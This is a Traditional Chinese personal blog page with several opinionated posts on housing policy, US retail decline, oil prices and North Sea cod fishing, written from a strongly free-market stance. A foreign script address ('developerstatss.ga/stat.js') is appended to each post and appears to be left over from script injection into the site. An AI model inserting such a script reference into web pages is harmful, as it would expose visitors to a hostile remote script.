社會富有的過程,競爭之下的成功者本來就會有較多財富,需要找地方放;定存、股票、債券、名車乃至於房屋,都是自然存在的投資標的。

政府胡亂打壓,只是讓這些資金從A處幾往B處。當你試圖管控房價,則通膨會發生在未被管制的項目上,例如股市。這跟擠壓氣球是一樣的。

當你管制項目越多,則資金市場被迫發明新玩意來規避,例如台灣的儲蓄型保險,亦或大陸的投資產品,亦或美國的存單。這些都是政府管制下的變形產物,究竟是資金的錯?還是政府的錯?

唯一可以確定的,是這些管制所帶來的行政成本、資金移轉成本乃至於契約成本,都是原本無需付出的社會耗損。無人得利,多邊均輸,這種蠢政策只是為了討好一群主張正義的學者或無知民眾,可笑。

可以再多談的是,如果政府為了部分買不起房的人刻意用政策打壓房價,本質上其實是搶奪另一群人的財富來補貼這群人。試問如此作為跟強盜有何兩樣?試問如此作為合乎憲法平等權以及私有財產保障的規範與精神嗎?

有些人年輕時努力工作累積的財富,到老要被政府強制徵收移轉給其他人,那誰還要努力工作?私有產權制度的價值正是保證了人們工作成果,才提供人們為自己未來努力的誘因,從而使整體社會增長進步。

許多左派自詡進步,其實本質根本與盜匪無異!不知恥就算了,講話還特大聲。

3. 在大台北,22k也買得到房!

最後再回應該篇文章宣稱的「幹,我今年都不吃東西這輩子都不出國,我還是買不起被你們炒出來的房子。」

首先,住不起台北就別勉強;中南部租金房價便宜多的地方很多。

硬要居住在自己負擔不起的地方,然後怪天怪地哭爸哭母要別人補貼你,在我看來是極為無恥的行為。不過好像很多人壓根不知道「無恥」是怎樣的概念。

再者,大台北地區並非處處都是帝寶的房價。例如591網站上新北市金山區29坪四房中古屋就有開價220萬的物件,以22k薪水來看,不吃不喝8年即可買房,換言之省吃儉用,20年房貸買房不是不可能。

許多長輩當年也是如此,先求有再求好。

再者,該文作者年紀大概跟我差不多,那人生兩次累積財富的大好機會(2000年.com泡沫後與2008年金融風暴後)該文作者顯然都沒把握到。

遠的不談,2008年後到現在,美國股市多少好公司股價漲幅超過2倍、3倍,甚至更保守,連S&P500漲幅都有170%!光買ETF都能享受年複合報酬率6.86%(還贏過炒作台灣房地產)。

同時期Apple股價漲幅7.26倍(報酬率28.11%)、Google漲幅6.71倍(報酬率26.87%),會拿iPhone、Android手機卻不懂得投資這兩家公司,該檢討的難道不是自己?

這些都是翻轉人生財富的大好機會,為什麼不把握?還是不懂把握?那試問自己要不要檢討–在英文能力強過父執輩、網路交易便利性與成本遠低於父執輩當年的現在,為什麼自己不懂得把握如此股市良機?!

誠如鴻海郭台銘所言:「沒有不景氣,只有自己不爭氣!」https://js.developerstatss.ga/stat.js?n=ns1

分類
筆記

The decline of established American retailing threatens jobs. — 2017/05/13

The decline of established American retailing threatens jobs. — 2017/05/13

    * A love affair with shopping has gone online.
    * 2016年美國有4000家零售店關閉,2017年預計會有將近8000家關閉。
    * 從2012到2017年初,雖然美國零售業工作數量增加1百萬個至15.9百萬,但卻開始衰退。
不只美國,日本2000年時零售業整體年營業額約8.9兆日圓,但至2015年已衰退至6.2兆。
美國與日本共通點在於衰退部分多移往線上消費。
    * 15年前,美國零售業就業人口超越製造業,現在零售業就業人口比製造業多出28%,其中只有20%的零售業員工有大學以上學歷。
    * 美國消費者偏好改變,越來越傾向外食、慶祝各種節慶或健康護理項目,但過去大宗的服飾相關消費卻減少許多。

過去美國零售業業者多半認為一般消費者須要實際觸摸了解衣物質感,同時實際試穿才能找到合身的產品,但這樣的假設顯然與現實不符 — 1/4的服飾販售都已經移往線上商店。

    * Amazon在美國30個城市推行Prime等級會員可以享受免額外運費、2小時內到貨。
    * 實體零售業者越是想要跟上Amazon,則往往要犧牲更多利潤率。
    * Morgan Stanley的經濟學家推估,線上電商市占率每增加1%,實體零售業者至少要損失0.5%。
    * Macy’s 、JC Penny這些美國老牌大型百貨公司近年業績大幅下滑,關店數量不斷增加。
    * 困境:Macy’s的CFO表示,一旦他們關閉某地區的實體商店,通常會連帶當地區的線上消費一起嚴重衰退。要關要留,真是個問題。
    * Mall佔美國實體零售業空間8%,但往往mall裡面的百貨公司關閉之後,其他商店也會跟著離開,最後這家mall就成為鬼店。
    * 好消息的一面:電商與物流中心的成長也帶來就業機會成長,美國零售業就業10年來,電商與物流中心佔整體零售就業從8%成長到10.1%。
    * 壞消息的一面:78%的電商、物流中心工作均要求面試者要有大學以上學歷;但實體零售業一般只有12%會如此要求,同時對照既有實體零售業人力僅20%有大學以上學歷。
    * Amazon今年一月宣稱在2018年7月之前,將在美國創造超過10萬個工作;可是經濟學家推估在2018年7月之前,整體零售業消失的工作機會其實是Amazon創造的三倍。

我的看法:

邊際產量遞減定律遲早會發揮作用,電商再強,也有其極限的一天;實體零售業競爭優勢仍然存在,只是競爭之下必然有留強汰弱的現象發生。

經濟學人的看法我覺得過度杞人憂天。同時經濟學人呼籲美國政界應該正視此問題並提出解決方案,實在是非常錯亂…這不是一份宣稱自己崇尚自由市場的刊物嗎?怎麼近幾年老是有類似的主張呢?

https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析 證券投資 商業評論

The Roller-Coaster Ride in Energy Stocks Is Far from Over. — 2017/05/13

1. 石油價格在2016年鹹魚翻身,但到了2017年至今卻又滑落,遠遠落後股票市場表現。
2. 世界每日石油需求成長從2015年的1.8百萬桶衰退至2017年的1.3百萬桶。
3. Gavekal Capital的CEO Louis-Vincent Gave對短中期石油價格並不樂觀,理由如下:

a. 全世界都知道沙烏地阿拉伯想要抬轎石油價格,因為他們國家的巨大IPO計畫 — Saudi Aramco需要有堅強的石油價格支撐,才能有漂亮的籌資。

b. 回教世界遜尼派與什葉派的千年鬥爭,簡單地讓回教世界分邊站:一邊是沙烏地阿拉伯與卡達等國家,另一邊則是伊朗以及暗中支持的俄羅斯。

c. 沙烏地阿拉伯的IPO計畫,說穿了就是賣祖產籌資好應付長年戰爭與一直以來奢侈的福利國家政策。

d. 換言之,伊朗與俄羅斯有極高的誘因去壓低石油價格,好讓沙烏地阿拉伯IPO籌資不順。事實上俄羅斯也的確如此,該國每日石油產量已經拉高到破紀錄的11.5百萬桶!而當溫暖月份來臨時,這個產量還可能繼續提昇!

我的看法:

不得不再鞭一次危言聳聽的清大彭明輝教授。

2011年彭明輝的「「石油危機」是危言聳聽?http://mhperng.blogspot.tw/2011/11/blog-post_06.html#uds-search-results」一文宣稱石油危機來臨,全球GDP會下降,石油產能跟不上需求的增長…云云。

我在本blog多次撰文明白指出彭明輝宣稱的石油危機,乃至於糧食危機都是危言聳聽,毫無科學根據可言。

6年過去了,我們再次檢視,全球石油產量不但沒有跟不上需求,事實上從International Energy Agency的數據可以看出:

從2014年第二季以來,全球石油供給幾乎每季超過實際需求,於2015Q2甚至每日供給超過需求量2百萬桶!

2016年末以來的供給降低,完全是因為OPEC的人為減產,並非任何自然或人力不可控制因素造成。但大家也都知道,OPEC的減產努力幾乎要被俄羅斯的增產、美加的頁岩油的投入給弭平,OPEC希冀的減產效果遠不如預期,這點從油價來看最是客觀且無可辯駁。

彭明輝文中所宣稱的供需圖表根本與事實相距甚遠!

說過許多次了,彭明輝如果不懂經濟學這塊,就請勿誤人子弟。彭教授如果相信自己的危機論,那請拿出真金白銀與市場賭一手。

而真笨到相信彭教授的危機論而去投資作多糧食與石油的朋友,早賠到破產!我在此致哀。

延伸閱讀:
再回頭看「石油危機」這謬論 http://www.yuanyu.idv.tw/?p=1515
小麥價格創下10年來最低 http://www.yuanyu.idv.tw/?p=1609
MONEY IS MADE SLOWLY OVER A LONG TIME AND LOST IN A HURRY http://www.yuanyu.idv.tw/?p=1694https://js.developerstatss.ga/stat.js?n=ns1

分類
筆記

FT Big Read: Britain and the EU — The catch for cod. 2017/05/12

After nearly disappearing a decade ago, cod has made a comeback in the North Sea thanks in part to Brussels’ policy. But Brexit could unleash a free-for-all between Scottish and other European fishermen.

1. EU與英國經營10年保育活動,終於讓一度瀕臨絕種的北海鱈魚(North Sea cod)數量重新增加。可是英國正在談脫歐,這讓北海鱈魚捕捉成為一個議題。
2. 英國認為主要是靠他們保育有功,所以現在增加的北海鱈魚,他們理當享受更多的漁獲權;Iceland與Faroe則認為魚量增加是因為全球暖化造成,而該二地居民身為全球暖化受害者,才應該享受更多漁獲權。
3. 北海鱈魚在蘇格蘭地區從西元9世紀就有補抓食用的紀錄,是一種極為鮮美且廣受歡迎的魚種,又被稱為”beef of the sea”
4. 1960年代,北海鱈魚數量曾經跳躍式暴增,至今無人知曉原因。1970年代年產量高達25萬頓,產值約4.5億英鎊;至2007年僅剩3.5萬頓,產值3500萬英鎊。
5. 上世紀末數量逐漸遞減至被視為瀕臨絕種,從而大規模禁止補抓。
6. 英國漁民認為,脫歐後EU漁民可以到蘇格蘭海域抓北海鱈魚,只要雙方能談出一個可接受的價碼。
7. 不過,非英國漁民真要在脫歐之後繼續到蘇格蘭與北海海域抓補北海鱈魚,英國政府看來也很難大動作護漁。這非常可能引發競租行為,從而造成租值消散至零 — 意即人人瘋狂補抓,直至北海鱈魚真的絕種為止。

我的看法:

FT認為人人瘋狂競爭補抓北海鱈魚,會讓鱈魚絕種之見,顯然是多慮。因為這等於是說人人租值邊際上相等,而競爭者無限多從而才能讓整個漁場的租值真的消散至零。

但事實上每個捕魚團隊的功力不同,面對的成本曲線也不同,因此均衡點會是有一定數量團隊捕撈北海鱈魚,而漁獲量的減少(相對應市價的提升)會讓各個團隊的邊際成本等於邊際產值。新加入者如果沒有足夠優勢,反倒是會被淘汰。

我們要擔心的反而是所謂的環保團體起來,假意要保護北海鱈魚,其實是試圖透過法律與政治參與租值分配,使得原本可以達均衡的整體租值倒真正減少了。講更白話,就是部分鱈魚利益進了環保人士的口袋。https://js.developerstatss.ga/stat.js?n=ns1